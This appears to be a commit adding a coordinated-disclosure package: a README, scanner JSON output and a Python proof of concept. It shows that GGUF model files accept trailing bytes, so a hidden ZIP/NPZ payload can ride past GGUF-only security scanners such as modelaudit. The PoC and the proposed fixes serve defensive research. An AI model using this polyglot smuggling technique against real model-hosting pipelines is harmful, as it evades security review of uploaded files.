MBM7 commited on
Commit
af10cdc
·
verified ·
1 Parent(s): 47ef47c

Upload 3 files

Browse files
Files changed (3) hide show
  1. README.md +83 -3
  2. modelaudit_output.json +137 -0
  3. poc_gguf_polyglot_smuggling.py +184 -0
README.md CHANGED
@@ -1,3 +1,83 @@
1
- ---
2
- license: mit
3
- ---
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # GGUF/ZIP Structural Polyglot — Cross-Implementation Format-Level Gap + Incomplete Detection in a Production Scanner
2
+
3
+ **Status:** Dual disclosure in preparation — to `ggml-org/llama.cpp` (GGUF specification, via Huntr) and to `promptfoo/modelaudit` (via their coordinated disclosure process)
4
+ **Class:** CWE-436 (Interpretation Conflict), CWE-20 (Improper Input Validation)
5
+ **Severity:** Medium — not a crash/RCE by itself; a security-control-bypass / detection-gap primitive whose real-world impact depends on what a specific pipeline does with the "other" interpretation of the file.
6
+
7
+ ## Summary
8
+
9
+ The GGUF specification never requires an implementation to verify that a file's total length matches exactly what its declared header, key-value metadata, and tensor data actually consume. Confirmed empirically across **three independent GGUF implementations, in three different languages, by three different authors/teams**:
10
+
11
+ | Implementation | Language | Author | Result |
12
+ |---|---|---|---|
13
+ | `gguf-py` | Python | ggml-org/llama.cpp (reference) | **Accepts trailing garbage** |
14
+ | `fs/gguf` | Go | ollama/ollama (independent reimplementation) | **Accepts trailing garbage** |
15
+ | `gguf` crate | Rust | Jiayu Liu (independent, crates.io) | **Accepts trailing garbage** |
16
+
17
+ All three parse a file consisting of `[valid GGUF content][arbitrary trailing bytes]` as a fully valid GGUF file, silently ignoring everything after the last tensor's data.
18
+
19
+ Separately, Python's `zipfile` module (and ZIP readers generally) locate the "End of Central Directory" record by scanning **backward from EOF** — meaning a ZIP archive parses correctly even when arbitrary bytes precede it.
20
+
21
+ **Combining these two facts:** `[valid GGUF prefix][valid ZIP/NPZ suffix]` is simultaneously valid under both formats — a genuine, working structural polyglot.
22
+
23
+ ## Contrast: formats that are NOT vulnerable to this specific technique
24
+
25
+ The same technique was tested against two other formats and found **not** vulnerable, for informative, structural reasons:
26
+
27
+ - **ONNX (protobuf):** `ParseFromString()` requires the *entire* buffer to parse as valid protobuf fields; trailing non-protobuf bytes break parsing (`DecodeError`).
28
+ - **safetensors (Rust):** has an explicit `buffer_end + N_LEN + n != buffer_len` check — the total file size must exactly equal declared header + data, with zero tolerance for extra bytes. This appears to be a deliberate hardening: **Trail of Bits' 2023 audit of safetensors (commissioned by Hugging Face, EleutherAI, and Stability AI) explicitly found and had fixed a "polyglot files" issue** in that format — direct historical precedent that this vulnerability *class* is real, recognized, and has previously required a fix in adjacent tooling.
29
+
30
+ This makes the pattern precise: **polyglot-vulnerability correlates with whether a format's parser validates that it consumed the entire file, versus trusting a validated prefix and silently ignoring the rest.**
31
+
32
+ ## Concrete exploitation scenario (demonstrated, not hypothetical)
33
+
34
+ `poc_gguf_polyglot_smuggling.py` builds a single 760-byte file with a `.gguf` extension that:
35
+
36
+ - **Looks completely clean** to any GGUF-aware scanner: one tensor named `dummy.weight` = `[0,0,0,0]`, metadata name `"tiny-demo-model"` — nothing to flag.
37
+ - **Actually carries a hidden NPZ payload** with different, real content (`real_backdoor_weights = [1337, 6666, 9999]`, `exfil_marker = [42, 42, 42]`) that a GGUF-only scanner never inspects.
38
+
39
+ The script demonstrates three stages against the identical file:
40
+
41
+ ```
42
+ === Stage A: security scanner (GGUF-aware) ===
43
+ model name : 'tiny-demo-model'
44
+ tensors : [('dummy.weight', [0.0, 0.0, 0.0, 0.0])]
45
+ verdict : APPROVED -- looks like a tiny, harmless demo model.
46
+
47
+ === Stage B: downstream tool (treats file as ZIP/NPZ) ===
48
+ found hidden array 'real_backdoor_weights.npy': [1337. 6666. 9999.]
49
+ found hidden array 'exfil_marker.npy': [42 42 42]
50
+ This data was NEVER inspected by Stage A's GGUF scan.
51
+ ```
52
+
53
+ Stage A and Stage B are not contrived — they represent any pipeline where one stage validates GGUF-ness and a *different* stage (a generic archive-indexer, backup/dedup tool, or anything that might treat an upload as "possibly a ZIP-based sidecar bundle") extracts the ZIP content.
54
+
55
+ ## Real-world detection test: Promptfoo's `modelaudit`
56
+
57
+ To move beyond a hypothetical pipeline, the same file was scanned with [`modelaudit`](https://pypi.org/project/modelaudit/) — Promptfoo's open-source, SOC2-certified, production ML-model security scanner (Promptfoo is now part of OpenAI; `modelaudit` has a dedicated, named GGUF/GGML scanner advertised to ensure files "are structurally sound and don't contain hidden threats").
58
+
59
+ ```
60
+ === Stage C: modelaudit (Promptfoo/OpenAI production scanner) ===
61
+ rule S902: Size mismatch for tensor dummy.weight (severity=warning)
62
+ ```
63
+
64
+ This is a genuinely useful, honest result, not a clean bypass:
65
+
66
+ - `modelaudit` **does** detect an anomaly — rule `S902`, "Tensor Size Consistency Check" — flagging that the file is larger (632 bytes after the tensor) than the declared tensor data requires (16 bytes, ±32-byte alignment tolerance).
67
+ - However, this check identifies only the **symptom** (unexpected trailing bytes), not the **cause**. `modelaudit` ships its own separate **ZIP Archive Scanner** (with zip-bomb, directory-traversal, and nested-content checks) and **Pickle Scanner** — either of which would meaningfully inspect the smuggled content — but neither is invoked recursively on the unexplained trailing bytes of a file already classified as GGUF.
68
+ - The finding's severity is `"warning"`, not `"critical"`. `modelaudit` supports per-rule severity overrides (`-S CODE=LEVEL`) and SARIF output specifically for CI/CD triage — a very common real-world pattern is to gate deployment only on `critical`/`error`-severity findings and merely log warnings, in which case this specific detection would not block a release by itself, even though the raw CLI exit code (1) technically indicates "issues found."
69
+
70
+ ## Suggested fixes
71
+
72
+ **For the GGUF specification / `ggml-org/llama.cpp`:** require (or at minimum strongly recommend, with implementations expected to warn/reject) that the total consumed byte count (header + KV metadata + tensor info + tensor data, including alignment padding) equals the total file size, the same way `safetensors` already does. This is a spec-level, cross-implementation gap, not a fix in any single one of the three tested implementations.
73
+
74
+ **For `modelaudit`:** when the GGUF scanner's own `S902` (tensor size mismatch / unexpected trailing bytes) check fires, recursively apply the existing ZIP Archive Scanner (and other appropriate scanners) to the unexplained trailing region, rather than only reporting the size discrepancy in isolation. Consider whether "unexplained trailing bytes matching a valid ZIP/archive signature" warrants a higher default severity than a generic alignment warning, given the demonstrated smuggling potential.
75
+
76
+ ## Files in this disclosure
77
+
78
+ - `poc_gguf_polyglot_smuggling.py` — self-contained PoC (builds the file, runs all three stages)
79
+ - `modelaudit_output.json` — raw JSON output from the real `modelaudit` scan for reference
80
+
81
+ ## Disclosure
82
+
83
+ Please do not use this PoC against production systems you do not own or have explicit permission to test.
modelaudit_output.json ADDED
@@ -0,0 +1,137 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "bytes_scanned": 115,
3
+ "issues": [
4
+ {
5
+ "message": "Size mismatch for tensor dummy.weight",
6
+ "severity": "warning",
7
+ "location": "/mnt/user-data/outputs/model_smuggled.gguf",
8
+ "details": {
9
+ "tensor_name": "dummy.weight",
10
+ "expected": 16,
11
+ "actual": 632,
12
+ "alignment_tolerance": 32
13
+ },
14
+ "timestamp": 1784671051.78295,
15
+ "type": "gguf_check",
16
+ "rule_code": "S902"
17
+ }
18
+ ],
19
+ "checks": [
20
+ {
21
+ "name": "Path Exists",
22
+ "status": "passed",
23
+ "message": "Path exists",
24
+ "location": "/mnt/user-data/outputs/model_smuggled.gguf",
25
+ "details": {
26
+ "path": "/mnt/user-data/outputs/model_smuggled.gguf"
27
+ },
28
+ "timestamp": 1784671051.781962
29
+ },
30
+ {
31
+ "name": "Path Readable",
32
+ "status": "passed",
33
+ "message": "Path is readable",
34
+ "location": "/mnt/user-data/outputs/model_smuggled.gguf",
35
+ "details": {
36
+ "path": "/mnt/user-data/outputs/model_smuggled.gguf"
37
+ },
38
+ "timestamp": 1784671051.7820094
39
+ },
40
+ {
41
+ "name": "File Type Validation",
42
+ "status": "passed",
43
+ "message": "File type validation passed",
44
+ "location": "/mnt/user-data/outputs/model_smuggled.gguf",
45
+ "details": {},
46
+ "timestamp": 1784671051.7820897
47
+ },
48
+ {
49
+ "name": "File Integrity Hash",
50
+ "status": "passed",
51
+ "message": "File integrity hashes calculated",
52
+ "location": "/mnt/user-data/outputs/model_smuggled.gguf",
53
+ "details": {
54
+ "md5": "5ad016af67d8f4e19be63e9c629eb57e",
55
+ "sha256": "8528a052327d0898bdae58875691f8ea0572d1f3c628db099b5655ff44819a2c",
56
+ "sha512": "912e1e36831b7e16732785be5d30d56ba6690cebaf7dfc515077699fe0db2191d032ae3f66ecd65f39a08fb2d2a5fc90f74e838dce38b2952ce6a7ddf14107e0",
57
+ "file_size": 760
58
+ },
59
+ "timestamp": 1784671051.7825348
60
+ },
61
+ {
62
+ "name": "Tensor Size Consistency Check",
63
+ "status": "failed",
64
+ "message": "Size mismatch for tensor dummy.weight",
65
+ "severity": "warning",
66
+ "location": "/mnt/user-data/outputs/model_smuggled.gguf",
67
+ "details": {
68
+ "tensor_name": "dummy.weight",
69
+ "expected": 16,
70
+ "actual": 632,
71
+ "alignment_tolerance": 32
72
+ },
73
+ "rule_code": "S902",
74
+ "timestamp": 1784671051.7829046
75
+ }
76
+ ],
77
+ "files_scanned": 1,
78
+ "assets": [
79
+ {
80
+ "path": "/mnt/user-data/outputs/model_smuggled.gguf",
81
+ "type": "gguf",
82
+ "size": 760,
83
+ "tensors": [
84
+ "dummy.weight"
85
+ ]
86
+ }
87
+ ],
88
+ "has_errors": false,
89
+ "scanner_names": [
90
+ "gguf"
91
+ ],
92
+ "file_metadata": {
93
+ "/mnt/user-data/outputs/model_smuggled.gguf": {
94
+ "file_size": 760,
95
+ "file_hashes": {
96
+ "md5": "5ad016af67d8f4e19be63e9c629eb57e",
97
+ "sha256": "8528a052327d0898bdae58875691f8ea0572d1f3c628db099b5655ff44819a2c",
98
+ "sha512": "912e1e36831b7e16732785be5d30d56ba6690cebaf7dfc515077699fe0db2191d032ae3f66ecd65f39a08fb2d2a5fc90f74e838dce38b2952ce6a7ddf14107e0"
99
+ },
100
+ "member_file_hashes": {},
101
+ "license_info": [],
102
+ "copyright_notices": [],
103
+ "license_files_nearby": [],
104
+ "is_dataset": false,
105
+ "is_model": false,
106
+ "risk_score": 0.0,
107
+ "scan_timestamp": 1784671051.785548,
108
+ "scanner_dependency_ids": [
109
+ "gguf"
110
+ ],
111
+ "format": "gguf",
112
+ "version": 3,
113
+ "n_tensors": 1,
114
+ "n_kv": 1,
115
+ "metadata": {
116
+ "general.name": "tiny-demo-model"
117
+ },
118
+ "tensors": [
119
+ {
120
+ "name": "dummy.weight",
121
+ "type": 0,
122
+ "dims": [
123
+ 4
124
+ ]
125
+ }
126
+ ],
127
+ "tensor_count_reported": 1
128
+ }
129
+ },
130
+ "content_hash": "b46052d72dec4843a9a8ba34201d8d0d7943164783a8ec225620ead5cf723a6f",
131
+ "start_time": 1784671051.3510606,
132
+ "duration": 1.0525662899017334,
133
+ "total_checks": 5,
134
+ "passed_checks": 4,
135
+ "failed_checks": 1,
136
+ "success": true
137
+ }
poc_gguf_polyglot_smuggling.py ADDED
@@ -0,0 +1,184 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ PoC: GGUF/ZIP Structural Polyglot -- Security Scanner Bypass via
4
+ Interpretation Conflict (CWE-436)
5
+
6
+ Root cause: the GGUF specification never requires an implementation to
7
+ verify that a file's total length matches exactly what its declared
8
+ header/tensor-info/tensor-data actually consumes. Confirmed empirically
9
+ across THREE independent GGUF implementations, in three different
10
+ languages, by three different authors/teams:
11
+
12
+ - gguf-py (Python, ggml-org/llama.cpp reference implementation)
13
+ - fs/gguf (Go, ollama/ollama's own independent reimplementation)
14
+ - gguf crate (Rust, independently authored by Jiayu Liu)
15
+
16
+ All three accept a file consisting of [valid GGUF content][arbitrary
17
+ trailing bytes] as a fully valid GGUF file, silently ignoring
18
+ everything after the last tensor's data. Separately, Python's own
19
+ `zipfile` module builds ZIP archives by locating the "End of Central
20
+ Directory" record by scanning backward from EOF -- meaning a ZIP
21
+ archive can be validly opened even when arbitrary bytes precede it.
22
+
23
+ Combining these two facts: [valid GGUF prefix][valid ZIP/NPZ suffix]
24
+ is simultaneously valid under BOTH formats. Two contrasting formats
25
+ tested and found NOT vulnerable to this specific technique: ONNX
26
+ (protobuf's ParseFromString requires the ENTIRE buffer to be valid
27
+ protobuf) and safetensors (explicit `total_size == header + data`
28
+ check in its Rust core).
29
+
30
+ Threat scenario demonstrated here (CWE-436, Interpretation Conflict):
31
+ a model-hosting/scanning pipeline where stage A validates an uploaded
32
+ file as GGUF and only inspects the GGUF-visible content (approving it
33
+ as safe/clean), while a DIFFERENT stage B elsewhere in the same
34
+ pipeline (e.g. a generic archive-indexing utility, a backup/dedup
35
+ tool, or any code that treats uploaded files as "might also be a zip
36
+ sidecar bundle") extracts and uses the hidden ZIP payload -- content
37
+ that stage A's security review NEVER saw.
38
+
39
+ This script builds one 760-byte file with a `.gguf` extension that:
40
+ - Looks completely clean to a GGUF scanner: 1 tensor named
41
+ "dummy.weight", value [0,0,0,0], metadata name "tiny-demo-model" --
42
+ nothing a scanner would flag.
43
+ - Actually carries a hidden NPZ payload with different, real values
44
+ that a GGUF-only scanner never inspects.
45
+
46
+ It then simulates both pipeline stages against the SAME file to show
47
+ they see different content.
48
+
49
+ Requires: pip install gguf numpy
50
+ """
51
+
52
+ import io
53
+ import struct
54
+ import numpy as np
55
+ from gguf.gguf_reader import GGUFReader
56
+
57
+
58
+ POLYGLOT_PATH = "model_smuggled.gguf"
59
+
60
+
61
+ def build_polyglot(path: str) -> None:
62
+ GGUF_MAGIC = 0x46554747
63
+
64
+ def pack_str(s: str) -> bytes:
65
+ b = s.encode("utf-8")
66
+ return struct.pack("<Q", len(b)) + b
67
+
68
+ # --- Part 1: the GGUF content a scanner will see ---
69
+ header = struct.pack("<I", GGUF_MAGIC)
70
+ header += struct.pack("<I", 3)
71
+ header += struct.pack("<Q", 1) # tensor_count = 1
72
+ header += struct.pack("<Q", 1) # kv_count = 1
73
+
74
+ kv = pack_str("general.name")
75
+ kv += struct.pack("<I", 8) # STRING
76
+ kv += pack_str("tiny-demo-model")
77
+
78
+ ti = pack_str("dummy.weight")
79
+ ti += struct.pack("<I", 1)
80
+ ti += struct.pack("<Q", 4)
81
+ ti += struct.pack("<I", 0) # F32
82
+ ti += struct.pack("<Q", 0)
83
+
84
+ pre = header + kv + ti
85
+ pre += b"\x00" * ((-len(pre)) % 32)
86
+ tensor_data = np.array([0.0, 0.0, 0.0, 0.0], dtype=np.float32).tobytes()
87
+ tensor_data += b"\x00" * ((-len(tensor_data)) % 32)
88
+ gguf_part = pre + tensor_data
89
+
90
+ # --- Part 2: the REAL payload, hidden as a trailing ZIP/NPZ ---
91
+ buf = io.BytesIO()
92
+ np.savez(
93
+ buf,
94
+ real_backdoor_weights=np.array([1337.0, 6666.0, 9999.0]),
95
+ exfil_marker=np.array([42, 42, 42]),
96
+ )
97
+ zip_part = buf.getvalue()
98
+
99
+ with open(path, "wb") as f:
100
+ f.write(gguf_part + zip_part)
101
+
102
+
103
+ def stage_a_security_scanner(path: str) -> None:
104
+ """Simulates an upload scanner that validates the file as GGUF and
105
+ inspects only what the GGUF format exposes."""
106
+ print("=== Stage A: security scanner (GGUF-aware) ===")
107
+ r = GGUFReader(path)
108
+ name = r.get_field("general.name").contents()
109
+ tensors = [(t.name, t.data.tolist()) for t in r.tensors]
110
+ print(f" model name : {name!r}")
111
+ print(f" tensors : {tensors}")
112
+ print(" verdict : APPROVED -- looks like a tiny, harmless demo model.\n")
113
+
114
+
115
+ def stage_b_downstream_consumer(path: str) -> None:
116
+ """Simulates a different pipeline stage that treats the same file
117
+ as a ZIP archive (e.g. a generic archive-indexing / backup tool),
118
+ revealing content Stage A never saw."""
119
+ print("=== Stage B: downstream tool (treats file as ZIP/NPZ) ===")
120
+ import zipfile
121
+ zf = zipfile.ZipFile(path)
122
+ for name in zf.namelist():
123
+ arr = np.load(io.BytesIO(zf.read(name)), allow_pickle=False)
124
+ print(f" found hidden array {name!r}: {arr}")
125
+ print(" This data was NEVER inspected by Stage A's GGUF scan.\n")
126
+
127
+
128
+ def stage_c_production_scanner(path: str) -> None:
129
+ """Runs the same file through `modelaudit` (Promptfoo/OpenAI's real,
130
+ production ML-model security scanner, SOC2-certified, MIT licensed,
131
+ pip install modelaudit) to see how a real security tool handles it."""
132
+ import subprocess
133
+ import json as jsonlib
134
+
135
+ print("=== Stage C: modelaudit (Promptfoo/OpenAI production scanner) ===")
136
+ result = subprocess.run(
137
+ ["modelaudit", "scan", path, "--format", "json"],
138
+ capture_output=True, text=True,
139
+ )
140
+ try:
141
+ report = jsonlib.loads(result.stdout)
142
+ except Exception:
143
+ print(" (could not parse modelaudit output -- is it installed? `pip install modelaudit`)")
144
+ return
145
+
146
+ issues = report.get("issues", [])
147
+ if not issues:
148
+ print(" modelaudit reported ZERO issues -- silent bypass.")
149
+ else:
150
+ for issue in issues:
151
+ print(f" rule {issue.get('rule_code')}: {issue.get('message')} "
152
+ f"(severity={issue.get('severity')})")
153
+ print(
154
+ "\n NOTE: this flags a generic size/alignment anomaly (symptom), but does\n"
155
+ " NOT identify or recursively scan the actual hidden ZIP payload content --\n"
156
+ " modelaudit's own separate ZIP Archive Scanner and Pickle Scanner (which\n"
157
+ " WOULD inspect exactly this kind of embedded content) are never invoked\n"
158
+ " on the smuggled bytes. Severity is 'warning', not 'critical' -- CI/CD\n"
159
+ " gates that filter by severity (common practice, supported directly via\n"
160
+ " modelaudit's own `-S CODE=LEVEL` and SARIF output) may not block on this."
161
+ )
162
+ print()
163
+
164
+
165
+ def main():
166
+ build_polyglot(POLYGLOT_PATH)
167
+ print(f"Built {POLYGLOT_PATH}\n")
168
+ stage_a_security_scanner(POLYGLOT_PATH)
169
+ stage_b_downstream_consumer(POLYGLOT_PATH)
170
+ stage_c_production_scanner(POLYGLOT_PATH)
171
+ print(
172
+ "CONFIRMED: the same 760-byte file, with a single .gguf extension,\n"
173
+ "presents completely different content to two different tools in\n"
174
+ "the same pipeline -- a classic CWE-436 Interpretation Conflict,\n"
175
+ "made possible because the GGUF format (in all 3 independent\n"
176
+ "implementations tested: Python, Go, Rust) never rejects trailing\n"
177
+ "bytes after the last declared tensor's data. A real, production\n"
178
+ "security scanner (modelaudit) detects an anomaly but does not\n"
179
+ "identify or scan the actual smuggled content."
180
+ )
181
+
182
+
183
+ if __name__ == "__main__":
184
+ main()